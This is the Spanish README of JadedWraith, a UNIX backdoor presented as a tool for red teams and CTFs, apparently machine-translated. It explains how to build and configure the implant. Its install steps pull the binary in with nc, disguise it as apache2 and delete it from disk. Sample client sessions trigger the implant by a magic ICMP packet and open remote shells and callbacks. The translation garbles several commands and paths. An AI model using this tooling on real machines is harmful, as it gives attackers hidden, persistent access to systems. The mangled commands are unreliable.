
JadedWraith es una puerta trasera ligera de UNIX para piratería ética. Útil para compromisos del Equipo Rojo y CTF. Algo que escribí hace unos años como parte de un juego que jugué con un amigo tratando de abrir tantas máquinas virtuales en los laboratorios de los demás sin que nos atrapen o que nuestras herramientas se realicen ingeniería inversa / firma.
caracteristicas
JadedWraith es una puerta trasera poderosa que puede escuchar a escondidas un puerto TCP o rastrear paquetes en busca de un paquete ICMP «mágico» que le indica a la puerta trasera que llame o escuche a escondidas. Esto está parcialmente inspirado en herramientas como PRISM, pero a diferencia de PRISM, JadedWraith usa una criptografía descuidada para ocultar el comando y el control. JadedWraith se puede utilizar para ejecutar comandos remotos o cargar cargas útiles de seguimiento.
JadedWraith se puede compilar como un ejecutable independiente o como un objeto compartido para la inyección de procesos.
Componentes
El código fuente del implante real se puede encontrar en el src
Directorio. client
contiene un cliente simple basado en Python para interactuar con JadedWraith. los conf_jawr
El script se utiliza para configurar nuevos ejecutables de JadedWraith.
Dependencias
El implante requiere una biblioteca C moderna y un libpthread. Dependiendo del sistema operativo de destino, es posible que se requiera libpcap (en cuyo caso debe usar el ./configure
Guión con --use-libpcap
para habilitar el soporte de libpcap).
El script de configuración de Python y el cliente requieren los siguientes paquetes para funcionar: termcolor, pycryptodomex
Cómo compilar
Solo usa el Makefile
compilar. Nota: Los binarios resultantes en bin
deben configurarse antes de que puedan utilizarse.
$ ./configure
hacer $
$ ls -lart am
-rwxrwxr-x. 1 raíz raíz 19712 31 de julio 13:08 JadedWraith-2.0.0-Linux-x86_64.elf
Como uno C.onfigur
Utilizar el conf_jawr
Script para configurar archivos ejecutables JadedWraith. Esta siendo buscado bin
Directorio de archivos ejecutables JadedWraith para la configuración. El archivo binario configurado se guarda en el configured
Directorio.
$ ./conf_jawr
Configuración de JadedWraith
Seleccione un binario de JadedWraith que desee utilizar:
1. JadedWraith-2.0.0-Linux-x86_64.elf
Binario: 1
Clave común [95454c93c8d5d30a0782da72ade10e29] :
¿Activar el modo pasivo (activación ICMP)? [y/n] y
Contraseña de reactivación [4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj] :
argv[0] (Dejar en blanco para no falsificar el comando) [] :
Ejecutable de JadedWraith: /tmp/JadedWraith/configured/builds/JadedWraith-2.0.0-Linux-x86_64.1627752415.bin
¡Pruebame!
sudo ./wraith-client.py -k 95454c93c8d5d30a0782da72ade10e29 -P 4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj Shell
Cómo instalar
Un implante configurado se puede ejecutar simplemente en el sistema de destino. Si está configurado para usar la funcionalidad pasiva de ICMP, debe ejecutarse como root. La variable de entorno _CMD se puede utilizar para falsificar el proceso. argv[]
#cd / tmp
#nc -lvp 4444> apache2
#chmod + x apache2
#_CMD = ”/ usr / sbin / apache2 ″ ./apache2
#rm Apache2
Cómo interactuar
los wraith-client.py
Guión ahí client
se puede utilizar para interactuar con JadedWraith. Simplemente invocalo con los argumentos presentados por el conf_jawr
Script que reemplaza la IP del objetivo <IP_ADDRESS>
. Si está utilizando la funcionalidad ICMP, el script debe ejecutarse como root para enviar el paquete ICMP.
~ / JadedWraithFork / client> sudo ./wraith-client.py 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5W
[+] Comando de activación ICMP enviado a 192.168.100.224
[] La puerta trasera está escuchando en el puerto 58290 [] Conexión a 192.168.100.224:58290
[+] ¡Conectado!
[] Ingrese el shell interactivo .cd / tmp w 14:22:49 up 3:02, 1 usuario, promedio de carga: 0.18, 0.19, 0.23 USER TTY LOGIN @ IDLE JCPU PCPU WHAT ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 11:20? 00:00:01 / usr / lib / systemd / systemd –switched-root –system –deserialize 31 .exit sudo ./wraith-client.py 127.0.0.1 –callback 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00Srnwee [+] Comando de activación ICMP enviado a 127.0.0.1 [] La puerta trasera se conecta al puerto 37943
[] Escuche en el puerto 37943 [+] conexión aceptada! [] Entrar en el shell interactivo